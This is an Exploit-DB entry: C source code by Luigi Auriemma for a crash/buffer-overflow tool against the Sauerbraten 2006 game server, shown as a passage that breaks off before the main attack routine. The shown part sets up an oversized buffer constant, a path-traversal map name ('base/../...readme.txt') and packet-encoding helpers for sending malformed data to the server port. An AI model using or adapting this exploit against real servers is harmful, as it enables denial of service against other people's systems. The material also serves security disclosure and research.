Exploit-DB #1559
Description: Sauerbraten 2006_02_28 - Multiple Buffer Overflow / Crash
Type: dos
Platform: windows
Date: 2006-03-06
Author: Luigi Auriemma

Exploit:
/*

by Luigi Auriemma

You NEED Enet for compiling this tool (then remember -lenet)
  http://enet.bespin.org / http://enet.cubik.org

*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <time.h>
#include <enet/enet.h>

#ifdef WIN32
    #include <winsock.h>
/*
   Header file used for manage errors in Windows
   It support socket and errno too
   (this header replace the previous sock_errX.h)
*/

#include <string.h>
#include <errno.h>



void std_err(void) {
    char    *error;

    switch(WSAGetLastError()) {
        case 10004: error = "Interrupted system call"; break;
        case 10009: error = "Bad file number"; break;
        case 10013: error = "Permission denied"; break;
        case 10014: error = "Bad address"; break;
        case 10022: error = "Invalid argument (not bind)"; break;
        case 10024: error = "Too many open files"; break;
        case 10035: error = "Operation would block"; break;
        case 10036: error = "Operation now in progress"; break;
        case 10037: error = "Operation already in progress"; break;
        case 10038: error = "Socket operation on non-socket"; break;
        case 10039: error = "Destination address required"; break;
        case 10040: error = "Message too long"; break;
        case 10041: error = "Protocol wrong type for socket"; break;
        case 10042: error = "Bad protocol option"; break;
        case 10043: error = "Protocol not supported"; break;
        case 10044: error = "Socket type not supported"; break;
        case 10045: error = "Operation not supported on socket"; break;
        case 10046: error = "Protocol family not supported"; break;
        case 10047: error = "Address family not supported by protocol family"; break;
        case 10048: error = "Address already in use"; break;
        case 10049: error = "Can't assign requested address"; break;
        case 10050: error = "Network is down"; break;
        case 10051: error = "Network is unreachable"; break;
        case 10052: error = "Net dropped connection or reset"; break;
        case 10053: error = "Software caused connection abort"; break;
        case 10054: error = "Connection reset by peer"; break;
        case 10055: error = "No buffer space available"; break;
        case 10056: error = "Socket is already connected"; break;
        case 10057: error = "Socket is not connected"; break;
        case 10058: error = "Can't send after socket shutdown"; break;
        case 10059: error = "Too many references, can't splice"; break;
        case 10060: error = "Connection timed out"; break;
        case 10061: error = "Connection refused"; break;
        case 10062: error = "Too many levels of symbolic links"; break;
        case 10063: error = "File name too long"; break;
        case 10064: error = "Host is down"; break;
        case 10065: error = "No Route to Host"; break;
        case 10066: error = "Directory not empty"; break;
        case 10067: error = "Too many processes"; break;
        case 10068: error = "Too many users"; break;
        case 10069: error = "Disc Quota Exceeded"; break;
        case 10070: error = "Stale NFS file handle"; break;
        case 10091: error = "Network SubSystem is unavailable"; break;
        case 10092: error = "WINSOCK DLL Version out of range"; break;
        case 10093: error = "Successful WSASTARTUP not yet performed"; break;
        case 10071: error = "Too many levels of remote in path"; break;
        case 11001: error = "Host not found"; break;
        case 11002: error = "Non-Authoritative Host not found"; break;
        case 11003: error = "Non-Recoverable errors: FORMERR, REFUSED, NOTIMP"; break;
        case 11004: error = "Valid name, no data record of requested type"; break;
        default: error = strerror(errno); break;
    }
    fprintf(stderr, "\nError: %s\n", error);
    exit(1);
}

    #define close   closesocket
    #define ONESEC  1000
    #define MYRAND  clock()
#else
    #include <unistd.h>
    #include <sys/socket.h>
    #include <sys/types.h>
    #include <arpa/inet.h>
    #include <netinet/in.h>
    #include <netdb.h>
    #include <sys/times.h>

    #define ONESEC  1
    #define MYRAND  times(0)
#endif



#define VER         "0.1"
#define PORT        28785
#define MAXTRANS    5000
#define BOFSZ       (MAXTRANS + 256)
#define MAPSUX      "base/../base/../base/../base/../base/../base/../base/../base/../base/../base/../base/../base/../base/../base/../base/../base/../base/../base/../base/../base/../base/../base/../base/../base/../base/../base/../base/../base/../base/../base/../readme.txt"



enum {
    SV_INITS2C = 0, SV_INITC2S, SV_POS, SV_TEXT, SV_SOUND, SV_CDIS,
    SV_DIED, SV_DAMAGE, SV_SHOT, SV_FRAGS,
    SV_MAPCHANGE, SV_ITEMSPAWN, SV_ITEMPICKUP, SV_DENIED,
    SV_PING, SV_PONG, SV_CLIENTPING, SV_GAMEMODE,
    SV_TIMEUP, SV_MAPRELOAD, SV_ITEMACC,
    SV_SERVMSG, SV_ITEMLIST, SV_RESUME, 
    SV_EDITENT, SV_EDITH, SV_EDITF, SV_EDITT, SV_EDITM, SV_FLIP, SV_ROTATE,
    SV_MASTERMODE, SV_KICK, SV_CURRENTMASTER,
};

void putint(u_char *p, int n, u_char **out) {
    if(n<128 && n>-127) { *p++ = n; }
    else if(n<0x8000 && n>=-0x8000) { *p++ = 0x80; *p++ = n; *p++ = n>>8;  }
    else { *p++ = 0x81; *p++ = n; *p++ = n>>8; *p++ = n>>16; *p++ = n>>24; };
    *out = p;
};

int getint(u_char *p, u_char **out) {
    int c = *((char *)p);
    p++;
    if(c==-128) { int n = *p++; n |= *((char *)p)<<8; p++; *out = p; return n;}
    else if(c==-127) { int n = *p++; n |= *p++<<8; n |= *p++<<16; *out = p; return n|(*p++<<24); } 
    else { *out = p; return c; }
};

void sendstring(char *t, u_char *p, u_char **out) {
    while(*t) putint(p, *t++, &p);
    putint(p, 0, &p);
    *out = p;
};



int build_enet_connect_boom(u_char *buff);
int send_recv(int sd, u_char *in, int insz, u_char *out, int outsz, int err);
int timeout(int sock);
void